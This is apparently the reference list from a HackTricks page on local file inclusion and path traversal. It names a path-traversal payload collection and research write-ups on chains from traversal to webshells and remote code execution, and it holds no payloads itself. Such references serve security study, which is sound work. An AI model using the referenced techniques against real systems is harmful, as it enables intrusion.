- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
{{#file}} EN-Local-File-Inclusion-1.pdf {{#endfile}}
{{#include ../../banners/hacktricks-training.md}}